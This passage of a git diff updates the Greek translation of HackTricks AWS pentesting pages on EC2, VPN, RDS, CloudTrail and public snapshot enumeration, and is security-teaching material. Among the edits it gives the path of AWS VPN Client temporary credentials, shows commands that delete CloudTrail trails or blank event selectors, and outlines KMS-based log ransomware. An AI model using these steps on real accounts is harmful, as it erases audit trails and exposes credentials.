-Ένα **AMI** χρησιμοποιείται για να **εκκινήσει μια EC2 εγκατάσταση**, ενώ ένα EC2 **Snapshot** χρησιμοποιείται για να **δημιουργήσει αντίγραφα ασφαλείας και να ανακτήσει δεδομένα που είναι αποθηκευμένα σε έναν όγκο EBS**. Ενώ ένα EC2 Snapshot μπορεί να χρησιμοποιηθεί για να δημιουργήσει ένα νέο AMI, δεν είναι το ίδιο πράγμα με ένα AMI, και δεν περιλαμβάνει πληροφορίες σχετικά με το λειτουργικό σύστημα, τον διακομιστή εφαρμογών ή άλλο λογισμικό που απαιτείται για να εκτελέσει μια εφαρμογή.
+Μια **AMI** χρησιμοποιείται για να **εκκινήσει μια EC2 instance**, ενώ ένα EC2 **Snapshot** χρησιμοποιείται για να **δημιουργήσει αντίγραφα ασφαλείας και να ανακτήσει δεδομένα που είναι αποθηκευμένα σε έναν όγκο EBS**. Ενώ ένα EC2 Snapshot μπορεί να χρησιμοποιηθεί για να δημιουργήσει μια νέα AMI, δεν είναι το ίδιο πράγμα με μια AMI, και δεν περιλαμβάνει πληροφορίες σχετικά με το λειτουργικό σύστημα, τον διακομιστή εφαρμογών ή άλλο λογισμικό που απαιτείται για να εκτελέσει μια εφαρμογή.
### Privesc
-Στην παρακάτω σελίδα μπορείτε να δείτε πώς να **καταχραστείτε τις άδειες EBS για να κερδίσετε προνόμια**:
+Στην παρακάτω σελίδα μπορείτε να δείτε πώς να **καταχραστείτε τις άδειες EBS για να κλιμακώσετε τα προνόμια**:
{{#ref}}
../../aws-privilege-escalation/aws-ebs-privesc.md
@@ -167,11 +167,11 @@ aws ec2 describe-vpc-peering-connections
## SSM
-Ο **Amazon Simple Systems Manager (SSM)** επιτρέπει την απομακρυσμένη διαχείριση ομάδων EC2 εγκαταστάσεων για να διευκολύνει πολύ τη διαχείρισή τους. Κάθε μία από αυτές τις εγκαταστάσεις πρέπει να εκτελεί την **υπηρεσία SSM Agent καθώς αυτή θα είναι υπεύθυνη για την εκτέλεση των ενεργειών από το AWS API**.
+Ο **Amazon Simple Systems Manager (SSM)** επιτρέπει την απομακρυσμένη διαχείριση ομάδων EC2 instances για να διευκολύνει πολύ τη διαχείρισή τους. Κάθε μία από αυτές τις instances πρέπει να εκτελεί την **υπηρεσία SSM Agent καθώς η υπηρεσία θα είναι αυτή που θα λαμβάνει τις ενέργειες και θα τις εκτελεί** από το AWS API.
Ο **SSM Agent** καθιστά δυνατή την ενημέρωση, διαχείριση και ρύθμιση αυτών των πόρων από τον Systems Manager. Ο πράκτορας **επεξεργάζεται αιτήματα από την υπηρεσία Systems Manager στο AWS Cloud**, και στη συνέχεια τα εκτελεί όπως καθορίζεται στο αίτημα.
-Ο **SSM Agent έρχεται**[ **προεγκατεστημένος σε ορισμένα AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) ή πρέπει να [**τον εγκαταστήσετε χειροκίνητα**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) στις εγκαταστάσεις. Επίσης, ο IAM Ρόλος που χρησιμοποιείται μέσα στην εγκατάσταση πρέπει να έχει την πολιτική **AmazonEC2RoleforSSM** συνημμένη για να μπορεί να επικοινωνεί.
+Ο **SSM Agent έρχεται**[ **προεγκατεστημένος σε ορισμένες AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) ή πρέπει να [**τον εγκαταστήσετε χειροκίνητα**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) στις instances. Επίσης, ο IAM Ρόλος που χρησιμοποιείται μέσα στην instance πρέπει να έχει την πολιτική **AmazonEC2RoleforSSM** συνημμένη για να μπορεί να επικοινωνεί.
### Αριθμητική
```bash
@@ -188,7 +188,7 @@ ps aux | grep amazon-ssm
```
### Privesc
-Στην παρακάτω σελίδα μπορείτε να δείτε πώς να **καταχραστείτε τις άδειες SSM για να κλιμακώσετε τα προνόμια**:
+Στη συνέχεια σελίδα μπορείτε να ελέγξετε πώς να **καταχραστείτε τις άδειες SSM για να κλιμακώσετε τα προνόμια**:
{{#ref}}
../../aws-privilege-escalation/aws-ssm-privesc.md
@@ -196,7 +196,7 @@ ps aux | grep amazon-ssm
## ELB
-**Elastic Load Balancing** (ELB) είναι μια **υπηρεσία ισορροπίας φορτίου για τις υπηρεσίες Amazon Web Services** (AWS). Το ELB αυτόματα **κατανέμει την εισερχόμενη κίνηση εφαρμογών** και κλιμακώνει τους πόρους για να καλύψει τις απαιτήσεις κίνησης.
+**Elastic Load Balancing** (ELB) είναι μια **υπηρεσία ισορροπίας φορτίου για τις αναπτύξεις Amazon Web Services** (AWS). ELB αυτόματα **κατανέμει την εισερχόμενη κίνηση εφαρμογών** και κλιμακώνει τους πόρους για να καλύψει τις απαιτήσεις κίνησης.
### Enumeration
```bash
@@ -228,7 +228,7 @@ aws autoscaling describe-load-balancers
```
## Nitro
-AWS Nitro είναι μια σουίτα **καινοτόμων τεχνολογιών** που σχηματίζουν την υποκείμενη πλατφόρμα για τις περιπτώσεις AWS EC2. Εισήχθη από την Amazon για να **βελτιώσει την ασφάλεια, την απόδοση και την αξιοπιστία**, το Nitro αξιοποιεί προσαρμοσμένα **hardware components και έναν ελαφρύ hypervisor**. Απομονώνει πολλές από τις παραδοσιακές λειτουργίες εικονικοποίησης σε ειδικό hardware και software, **ελαχιστοποιώντας την επιφάνεια επίθεσης** και βελτιώνοντας την αποδοτικότητα πόρων. Με την εκφόρτωση των λειτουργιών εικονικοποίησης, το Nitro επιτρέπει στις περιπτώσεις EC2 να παρέχουν **σχεδόν bare-metal απόδοση**, καθιστώντας το ιδιαίτερα ευεργετικό για εφαρμογές που απαιτούν πολλούς πόρους. Επιπλέον, το Nitro Security Chip διασφαλίζει ειδικά την **ασφάλεια του hardware και του firmware**, ενισχύοντας περαιτέρω την ανθεκτική του αρχιτεκτονική.
+AWS Nitro είναι μια σουίτα **καινοτόμων τεχνολογιών** που σχηματίζουν την υποκείμενη πλατφόρμα για τις περιπτώσεις AWS EC2. Εισήχθη από την Amazon για να **βελτιώσει την ασφάλεια, την απόδοση και την αξιοπιστία**, το Nitro αξιοποιεί προσαρμοσμένα **hardware components και έναν ελαφρύ hypervisor**. Απομονώνει πολλές από τις παραδοσιακές λειτουργίες εικονικοποίησης σε ειδικό hardware και software, **ελαχιστοποιώντας την επιφάνεια επίθεσης** και βελτιώνοντας την αποδοτικότητα των πόρων. Με την αποφόρτιση των λειτουργιών εικονικοποίησης, το Nitro επιτρέπει στις περιπτώσεις EC2 να παρέχουν **σχεδόν απόδοση bare-metal**, καθιστώντας το ιδιαίτερα ωφέλιμο για εφαρμογές που απαιτούν πολλούς πόρους. Επιπλέον, το Nitro Security Chip διασφαλίζει ειδικά την **ασφάλεια του hardware και του firmware**, ενισχύοντας περαιτέρω την ανθεκτική του αρχιτεκτονική.
Get more information and how to enumerate it from:
@@ -238,30 +238,30 @@ aws-nitro-enum.md
## VPN
-Ένα VPN επιτρέπει τη σύνδεση του **on-premise network σας (site-to-site VPN)** ή των **laptops των εργαζομένων (Client VPN)** με ένα **AWS VPC** ώστε οι υπηρεσίες να είναι προσβάσιμες χωρίς να χρειάζεται να τις εκθέσετε στο διαδίκτυο.
+Ένα VPN επιτρέπει τη σύνδεση του **on-premise network (site-to-site VPN)** ή των **laptops των εργαζομένων (Client VPN)** με ένα **AWS VPC** ώστε οι υπηρεσίες να είναι προσβάσιμες χωρίς να χρειάζεται να τις εκθέσετε στο διαδίκτυο.
-#### Βασικά Συστατικά AWS VPN
+#### Basic AWS VPN Components
1. **Customer Gateway**:
-- Ένα Customer Gateway είναι ένας πόρος που δημιουργείτε στο AWS για να εκπροσωπήσετε την πλευρά σας σε μια σύνδεση VPN.
+- Ένα Customer Gateway είναι ένας πόρος που δημιουργείτε στο AWS για να αντιπροσωπεύει την πλευρά σας σε μια σύνδεση VPN.
- Είναι ουσιαστικά μια φυσική συσκευή ή εφαρμογή λογισμικού στην πλευρά σας της σύνδεσης Site-to-Site VPN.
- Παρέχετε πληροφορίες δρομολόγησης και τη δημόσια διεύθυνση IP της συσκευής δικτύου σας (όπως ένας δρομολογητής ή ένα firewall) στο AWS για να δημιουργήσετε ένα Customer Gateway.
- Λειτουργεί ως σημείο αναφοράς για τη ρύθμιση της σύνδεσης VPN και δεν επιβαρύνει με επιπλέον χρεώσεις.
2. **Virtual Private Gateway**:
- Ένα Virtual Private Gateway (VPG) είναι ο συγκεντρωτής VPN στην πλευρά της Amazon της σύνδεσης Site-to-Site VPN.
- Είναι συνδεδεμένο με το VPC σας και λειτουργεί ως στόχος για τη σύνδεση VPN σας.
-- Το VPG είναι το σημείο τερματισμού της AWS για τη σύνδεση VPN.
+- Το VPG είναι το σημείο τερματισμού στην πλευρά του AWS για τη σύνδεση VPN.
- Διαχειρίζεται την ασφαλή επικοινωνία μεταξύ του VPC σας και του τοπικού σας δικτύου.
3. **Site-to-Site VPN Connection**:
- Μια σύνδεση Site-to-Site VPN συνδέει το τοπικό σας δίκτυο με ένα VPC μέσω ενός ασφαλούς, IPsec VPN τούνελ.
- Αυτός ο τύπος σύνδεσης απαιτεί ένα Customer Gateway και ένα Virtual Private Gateway.
- Χρησιμοποιείται για ασφαλή, σταθερή και συνεπή επικοινωνία μεταξύ του κέντρου δεδομένων ή του δικτύου σας και του περιβάλλοντος AWS.
-- Συνήθως χρησιμοποιείται για κανονικές, μακροχρόνιες συνδέσεις και χρεώνεται με βάση την ποσότητα δεδομένων που μεταφέρονται μέσω της σύνδεσης.
+- Συνήθως χρησιμοποιείται για κανονικές, μακροχρόνιες συνδέσεις και χρεώνεται με βάση την ποσότητα των δεδομένων που μεταφέρονται μέσω της σύνδεσης.
4. **Client VPN Endpoint**:
- Ένα Client VPN endpoint είναι ένας πόρος που δημιουργείτε στο AWS για να ενεργοποιήσετε και να διαχειριστείτε τις συνεδρίες client VPN.
- Χρησιμοποιείται για να επιτρέπει σε μεμονωμένες συσκευές (όπως laptops, smartphones κ.λπ.) να συνδέονται με ασφάλεια σε πόρους AWS ή στο τοπικό σας δίκτυο.
- Διαφέρει από το Site-to-Site VPN στο ότι έχει σχεδιαστεί για μεμονωμένους πελάτες αντί να συνδέει ολόκληρα δίκτυα.
-- Με το Client VPN, κάθε συσκευή πελάτη χρησιμοποιεί ένα λογισμικό client VPN για να δημιουργήσει μια ασφαλή σύνδεση.
+- Με το Client VPN, κάθε συσκευή πελάτη χρησιμοποιεί ένα λογισμικό VPN client για να δημιουργήσει μια ασφαλή σύνδεση.
You can [**find more information about the benefits and components of AWS VPNs here**](aws-vpc-and-networking-basic-information.md#vpn).
@@ -291,11 +291,11 @@ aws ec2 describe-vpn-connections
```
### Τοπική Αρίθμηση
-**Τοπικές Προσωρινές Διαπιστεύσεις**
+**Τοπικά Προσωρινά Διαπιστευτήρια**
-Όταν χρησιμοποιείται ο AWS VPN Client για να συνδεθεί σε ένα VPN, ο χρήστης συνήθως **συνδέεται στο AWS** για να αποκτήσει πρόσβαση στο VPN. Στη συνέχεια, κάποιες **διαπιστεύσεις AWS δημιουργούνται και αποθηκεύονται** τοπικά για να καθοριστεί η σύνδεση VPN. Αυτές οι διαπιστεύσεις **αποθηκεύονται στο** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` και περιέχουν ένα **AccessKey**, ένα **SecretKey** και ένα **Token**.
+Όταν χρησιμοποιείται ο AWS VPN Client για σύνδεση σε ένα VPN, ο χρήστης συνήθως **συνδέεται στο AWS** για να αποκτήσει πρόσβαση στο VPN. Στη συνέχεια, κάποια **διαπιστευτήρια AWS δημιουργούνται και αποθηκεύονται** τοπικά για να καθοριστεί η σύνδεση VPN. Αυτά τα διαπιστευτήρια **αποθηκεύονται σε** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` και περιέχουν ένα **AccessKey**, ένα **SecretKey** και ένα **Token**.
-Οι διαπιστεύσεις ανήκουν στον χρήστη `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: ερευνήστε περισσότερα σχετικά με τις άδειες αυτών των διαπιστεύσεων).
+Τα διαπιστευτήρια ανήκουν στον χρήστη `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: ερευνήστε περισσότερα σχετικά με τις άδειες αυτών των διαπιστευτηρίων).
**αρχεία ρυθμίσεων opvn**
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
index ac9e7a7df..179713673 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
@@ -10,8 +10,8 @@
Τα κύρια χαρακτηριστικά του RDS περιλαμβάνουν:
-- Η **διαχείριση των στιγμιότυπων βάσεων δεδομένων** είναι απλοποιημένη.
-- Δημιουργία **αντίγραφων ανάγνωσης** για τη βελτίωση της απόδοσης ανάγνωσης.
+- **Η διαχείριση των στιγμιότυπων βάσεων δεδομένων** είναι απλοποιημένη.
+- Δημιουργία **αναγνωστικών αντιγράφων** για τη βελτίωση της απόδοσης ανάγνωσης.
- Διαμόρφωση **αναπτύξεων πολλαπλών Ζωνών Διαθεσιμότητας (AZ)** για να διασφαλιστεί η υψηλή διαθεσιμότητα και οι μηχανισμοί εναλλαγής.
- **Ενσωμάτωση** με άλλες υπηρεσίες AWS, όπως:
- AWS Identity and Access Management (**IAM**) για ισχυρό έλεγχο πρόσβασης.
@@ -46,8 +46,8 @@
**Η κρυπτογράφηση είναι ενεργοποιημένη από προεπιλογή** χρησιμοποιώντας ένα διαχειριζόμενο κλειδί AWS (ένα CMK μπορεί να επιλεγεί αντί αυτού).
-Ενεργοποιώντας την κρυπτογράφησή σας, ενεργοποιείτε **την κρυπτογράφηση σε κατάσταση ηρεμίας για την αποθήκευσή σας, τα στιγμιότυπα, τα αντίγραφα ανάγνωσης και τα αντίγραφα ασφαλείας σας**. Κλειδιά για τη διαχείριση αυτής της κρυπτογράφησης μπορούν να εκδοθούν χρησιμοποιώντας **KMS**.\
-Δεν είναι δυνατό να προσθέσετε αυτό το επίπεδο κρυπτογράφησης αφού έχει δημιουργηθεί η βάση δεδομένων σας. **Πρέπει να γίνει κατά τη διάρκεια της δημιουργίας της**.
+Με την ενεργοποίηση της κρυπτογράφησής σας, ενεργοποιείτε **την κρυπτογράφηση σε κατάσταση ηρεμίας για την αποθήκευσή σας, τα στιγμιότυπα, τα αναγνωστικά αντίγραφα και τα αντίγραφα ασφαλείας σας**. Κλειδιά για τη διαχείριση αυτής της κρυπτογράφησης μπορούν να εκδοθούν χρησιμοποιώντας **KMS**.\
+Δεν είναι δυνατό να προστεθεί αυτό το επίπεδο κρυπτογράφησης αφού έχει δημιουργηθεί η βάση δεδομένων σας. **Πρέπει να γίνει κατά τη διάρκεια της δημιουργίας της**.
Ωστόσο, υπάρχει μια **λύση που σας επιτρέπει να κρυπτογραφήσετε μια μη κρυπτογραφημένη βάση δεδομένων ως εξής**. Μπορείτε να δημιουργήσετε ένα στιγμιότυπο της μη κρυπτογραφημένης βάσης δεδομένων σας, να δημιουργήσετε ένα κρυπτογραφημένο αντίγραφο αυτού του στιγμιότυπου, να χρησιμοποιήσετε αυτό το κρυπτογραφημένο στιγμιότυπο για να δημιουργήσετε μια νέα βάση δεδομένων και, τελικά, η βάση δεδομένων σας θα είναι κρυπτογραφημένη.
@@ -65,8 +65,8 @@
- Είναι ουσιώδες να αναγνωρίσετε ότι μόλις προστεθεί η επιλογή TDE σε μια ομάδα επιλογών, γίνεται μόνιμο χαρακτηριστικό και δεν μπορεί να αφαιρεθεί.
3. **Λειτουργίες Κρυπτογράφησης TDE**:
- Το TDE προσφέρει δύο διακριτές λειτουργίες κρυπτογράφησης:
-- **Κρυπτογράφηση TDE Tablespace**: Αυτή η λειτουργία κρυπτογραφεί ολόκληρους πίνακες, παρέχοντας ευρύτερη προστασία δεδομένων.
-- **Κρυπτογράφηση TDE Column**: Αυτή η λειτουργία επικεντρώνεται στην κρυπτογράφηση συγκεκριμένων, μεμονωμένων στοιχείων μέσα στη βάση δεδομένων, επιτρέποντας πιο λεπτομερή έλεγχο σχετικά με τα δεδομένα που κρυπτογραφούνται.
+- **Κρυπτογράφηση Χώρου Τραπεζών TDE**: Αυτή η λειτουργία κρυπτογραφεί ολόκληρους πίνακες, παρέχοντας ευρύτερη προστασία δεδομένων.
+- **Κρυπτογράφηση Στήλης TDE**: Αυτή η λειτουργία επικεντρώνεται στην κρυπτογράφηση συγκεκριμένων, μεμονωμένων στοιχείων μέσα στη βάση δεδομένων, επιτρέποντας πιο λεπτομερή έλεγχο σχετικά με τα δεδομένα που κρυπτογραφούνται.
Η κατανόηση αυτών των προϋποθέσεων και των λειτουργικών λεπτομερειών του TDE είναι κρίσιμη για την αποτελεσματική εφαρμογή και διαχείριση της κρυπτογράφησης εντός του RDS, διασφαλίζοντας τόσο την ασφάλεια των δεδομένων όσο και τη συμμόρφωση με τις απαραίτητες προδιαγραφές.
@@ -134,7 +134,7 @@ aws rds modify-db-instance --db-instance-identifier --master-user-password
Υπάρχουν τρόποι πρόσβασης σε δεδομένα DynamoDB με **SQL σύνταξη**, επομένως, τυπικές **SQL injections είναι επίσης δυνατές**.
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/sql-injection
+https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
index 3e85f26ae..9bc74d5e4 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
@@ -4,7 +4,7 @@
## **CloudTrail**
-Το AWS CloudTrail **καταγράφει και παρακολουθεί δραστηριότητες μέσα στο περιβάλλον AWS σας**. Καταγράφει λεπτομερή **αρχεία γεγονότων**, συμπεριλαμβανομένου του ποιος έκανε τι, πότε και από πού, για όλες τις αλληλεπιδράσεις με τους πόρους AWS. Αυτό παρέχει ένα ίχνος ελέγχου των αλλαγών και των ενεργειών, βοηθώντας στην ανάλυση ασφάλειας, την επιθεώρηση συμμόρφωσης και την παρακολούθηση αλλαγών πόρων. Το CloudTrail είναι απαραίτητο για την κατανόηση της συμπεριφοράς χρηστών και πόρων, την ενίσχυση των θέσεων ασφάλειας και τη διασφάλιση της κανονιστικής συμμόρφωσης.
+AWS CloudTrail **καταγράφει και παρακολουθεί δραστηριότητα μέσα στο περιβάλλον AWS σας**. Καταγράφει λεπτομερή **αρχεία γεγονότων**, συμπεριλαμβανομένου του ποιος έκανε τι, πότε και από πού, για όλες τις αλληλεπιδράσεις με τους πόρους AWS. Αυτό παρέχει ένα ίχνος ελέγχου των αλλαγών και των ενεργειών, βοηθώντας στην ανάλυση ασφάλειας, την επιθεώρηση συμμόρφωσης και την παρακολούθηση αλλαγών πόρων. Το CloudTrail είναι απαραίτητο για την κατανόηση της συμπεριφοράς χρηστών και πόρων, την ενίσχυση των θέσεων ασφάλειας και την εξασφάλιση της κανονιστικής συμμόρφωσης.
Κάθε καταγεγραμμένο γεγονός περιέχει:
@@ -16,8 +16,8 @@
- Signing.amazonaws.com - Από το AWS Management Console
- console.amazonaws.com - Χρήστης root του λογαριασμού
- lambda.amazonaws.com - AWS Lambda
-- Οι παράμετροι του αιτήματος: `requestParameters`
-- Τα στοιχεία της απάντησης: `responseElements`
+- Οι παράμετροι αιτήματος: `requestParameters`
+- Τα στοιχεία απάντησης: `responseElements`
Τα γεγονότα γράφονται σε ένα νέο αρχείο καταγραφής **περίπου κάθε 5 λεπτά σε ένα αρχείο JSON**, κρατούνται από το CloudTrail και τελικά, τα αρχεία καταγραφής **παραδίδονται στο S3 περίπου 15 λεπτά μετά**.\
Τα αρχεία καταγραφής του CloudTrail μπορούν να **συγκεντρωθούν σε λογαριασμούς και σε περιοχές.**\
@@ -38,14 +38,14 @@
.png>)
-Επιπλέον, **αρχεία digest (για έλεγχο ακεραιότητας αρχείου)** θα βρίσκονται μέσα στον **ίδιο κάδο** σε:
+Επιπλέον, **αρχεία digest (για έλεγχο ακεραιότητας αρχείων)** θα βρίσκονται μέσα στον **ίδιο κάδο** σε:
.png>)
### Συγκέντρωση Αρχείων Καταγραφής από Πολλούς Λογαριασμούς
- Δημιουργήστε ένα Trail στον λογαριασμό AWS όπου θέλετε να παραδίδονται τα αρχεία καταγραφής
-- Εφαρμόστε δικαιώματα στον προορισμό S3 κάδο επιτρέποντας διασυνοριακή πρόσβαση για το CloudTrail και επιτρέψτε σε κάθε λογαριασμό AWS που χρειάζεται πρόσβαση
+- Εφαρμόστε άδειες στον προορισμό S3 κάδο επιτρέποντας διασυνοριακή πρόσβαση για το CloudTrail και επιτρέψτε σε κάθε λογαριασμό AWS που χρειάζεται πρόσβαση
- Δημιουργήστε ένα νέο Trail στους άλλους λογαριασμούς AWS και επιλέξτε να χρησιμοποιήσετε τον δημιουργημένο κάδο στο βήμα 1
Ωστόσο, ακόμη και αν μπορείτε να αποθηκεύσετε όλα τα αρχεία καταγραφής στον ίδιο κάδο S3, δεν μπορείτε να συγκεντρώσετε τα αρχεία καταγραφής του CloudTrail από πολλούς λογαριασμούς σε ένα CloudWatch Logs που ανήκει σε έναν μόνο λογαριασμό AWS.
@@ -83,7 +83,7 @@ aws cloudtrail validate-logs --trail-arn --start-time [-
### Insights
-**Τα Insights του CloudTrail** αυτόματα **αναλύουν** τα γεγονότα διαχείρισης εγγραφής από τα μονοπάτια του CloudTrail και σας **ειδοποιούν** για **ασυνήθιστη δραστηριότητα**. Για παράδειγμα, αν υπάρχει αύξηση στα γεγονότα `TerminateInstance` που διαφέρει από τις καθορισμένες βάσεις, θα το δείτε ως γεγονός Insight. Αυτά τα γεγονότα καθιστούν **ευκολότερη την εύρεση και την αντίδραση σε ασυνήθιστη δραστηριότητα API** από ποτέ.
+**Τα Insights του CloudTrail** αναλύουν αυτόματα **τα γεγονότα διαχείρισης εγγραφής** από τα μονοπάτια του CloudTrail και σας **ειδοποιούν** για **ασυνήθιστη δραστηριότητα**. Για παράδειγμα, εάν υπάρχει αύξηση στα γεγονότα `TerminateInstance` που διαφέρει από τις καθορισμένες βάσεις, θα το δείτε ως γεγονός Insight. Αυτά τα γεγονότα καθιστούν **ευκολότερη από ποτέ την εύρεση και την αντίδραση σε ασυνήθιστη δραστηριότητα API**.
Τα insights αποθηκεύονται στον ίδιο κάδο με τα logs του CloudTrail στο: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
@@ -92,7 +92,7 @@ aws cloudtrail validate-logs --trail-arn --start-time [-
| Ακεραιότητα Αρχείου Log του CloudTrail |
Επικυρώστε αν τα logs έχουν παραποιηθεί (τροποποιηθεί ή διαγραφεί)
Χρησιμοποιεί αρχεία digest (δημιουργεί hash για κάθε αρχείο)
SHA-256 hashing
SHA-256 με RSA για ψηφιακή υπογραφή
ιδιωτικό κλειδί που ανήκει στην Amazon
Χρειάζεται 1 ώρα για να δημιουργηθεί ένα αρχείο digest (γίνεται στην ώρα κάθε ώρα)
|
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Σταματήστε την μη εξουσιοδοτημένη πρόσβαση |
Χρησιμοποιήστε πολιτικές IAM και πολιτικές κάδου S3
ομάδα ασφαλείας —> πρόσβαση διαχειριστή
ελεγκτές —> πρόσβαση μόνο για ανάγνωση
Χρησιμοποιήστε SSE-S3/SSE-KMS για να κρυπτογραφήσετε τα logs
|
-| Αποτρέψτε τη διαγραφή αρχείων log |
Περιορίστε την πρόσβαση διαγραφής με πολιτικές IAM και πολιτικές κάδου
Ρυθμίστε την διαγραφή MFA S3
Επικυρώστε με την Επικύρωση Αρχείου Log
|
+| Αποτρέψτε τη διαγραφή αρχείων log |
Περιορίστε την πρόσβαση διαγραφής με πολιτικές IAM και κάδου
Ρυθμίστε την διαγραφή MFA S3
Επικυρώστε με την Επικύρωση Αρχείου Log
|
## Access Advisor
@@ -124,8 +124,8 @@ aws cloudtrail get-query-results --event-data-store --query-id )
> [!CAUTION]
-> Σημειώστε ότι όλες οι δημόσιες APIs που ανακαλύφθηκαν ότι δεν δημιουργούν logs CloudTrail έχουν τώρα διορθωθεί, οπότε ίσως χρειαστεί να βρείτε τις δικές σας...
+> Σημειώστε ότι όλες οι δημόσιες APIs που ανακαλύφθηκαν ότι δεν δημιουργούν logs CloudTrail έχουν πλέον διορθωθεί, οπότε ίσως χρειαστεί να βρείτε τις δικές σας...
>
> Για περισσότερες πληροφορίες δείτε την [**πρωτότυπη έρευνα**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
@@ -216,7 +216,7 @@ print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56J
### Τροποποίηση Ρυθμίσεων CloudTrail
-#### Διαγραφή μονοπατιών
+#### Διαγραφή trails
```bash
aws cloudtrail delete-trail --name [trail-name]
```
@@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors '
# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region
```
-Στο πρώτο παράδειγμα, παρέχεται ένας μόνο επιλεγέας γεγονότος ως πίνακας JSON με ένα μόνο αντικείμενο. Το `"ReadWriteType": "ReadOnly"` υποδεικνύει ότι **ο επιλεγέας γεγονότος θα πρέπει να καταγράφει μόνο γεγονότα ανάγνωσης** (έτσι οι πληροφορίες του CloudTrail **δεν θα ελέγχουν γεγονότα εγγραφής** για παράδειγμα).
+Στο πρώτο παράδειγμα, παρέχεται ένας επιλεγέας γεγονότος ως πίνακας JSON με ένα μόνο αντικείμενο. Το `"ReadWriteType": "ReadOnly"` υποδεικνύει ότι ο **επιλεγέας γεγονότος θα πρέπει να καταγράφει μόνο γεγονότα ανάγνωσης** (έτσι οι πληροφορίες του CloudTrail **δεν θα ελέγχουν γεγονότα εγγραφής** για παράδειγμα).
Μπορείτε να προσαρμόσετε τον επιλεγέα γεγονότος με βάση τις συγκεκριμένες απαιτήσεις σας.
@@ -256,7 +256,7 @@ aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration
#### Ransomware S3
Μπορείτε να **δημιουργήσετε ένα ασύμμετρο κλειδί** και να κάνετε το **CloudTrail να κρυπτογραφεί τα δεδομένα** με αυτό το κλειδί και να **διαγράψετε το ιδιωτικό κλειδί** ώστε τα περιεχόμενα του CloudTrail να μην μπορούν να ανακτηθούν.\
-Αυτό είναι βασικά ένα **S3-KMS ransomware** που εξηγείται σε:
+Αυτό είναι βασικά ένα **S3-KMS ransomware** που εξηγείται στο:
{{#ref}}
../../aws-post-exploitation/aws-s3-post-exploitation.md
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
index 7a8d903f9..d8fe06136 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
@@ -12,12 +12,12 @@
### Δημόσιες Θύρες
-Είναι δυνατόν να εκθέσετε **οποιαδήποτε θύρα των εικονικών μηχανών στο διαδίκτυο**. Ανάλογα με **το τι εκτελείται** στην εκτεθειμένη θύρα, ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί.
+Είναι δυνατόν να εκθέσετε **οποιαδήποτε θύρα των εικονικών μηχανών στο διαδίκτυο**. Ανάλογα με **το τι τρέχει** στην εκτεθειμένη θύρα, ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί.
#### SSRF
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
### Δημόσιες AMIs & EBS Snapshots
@@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo
aws ec2 describe-snapshots --restorable-by-user-ids all
aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
```
-Αν βρείτε ένα στιγμιότυπο που μπορεί να αποκατασταθεί από οποιονδήποτε, φροντίστε να ελέγξετε [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) για οδηγίες σχετικά με τη λήψη και την κλοπή του στιγμιότυπου.
+Αν βρείτε ένα στιγμιότυπο που μπορεί να αποκατασταθεί από οποιονδήποτε, φροντίστε να ελέγξετε [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) για οδηγίες σχετικά με τη λήψη και την κλοπή του στιγμιότυπου.
#### Δημόσιο πρότυπο URL
```bash
diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md
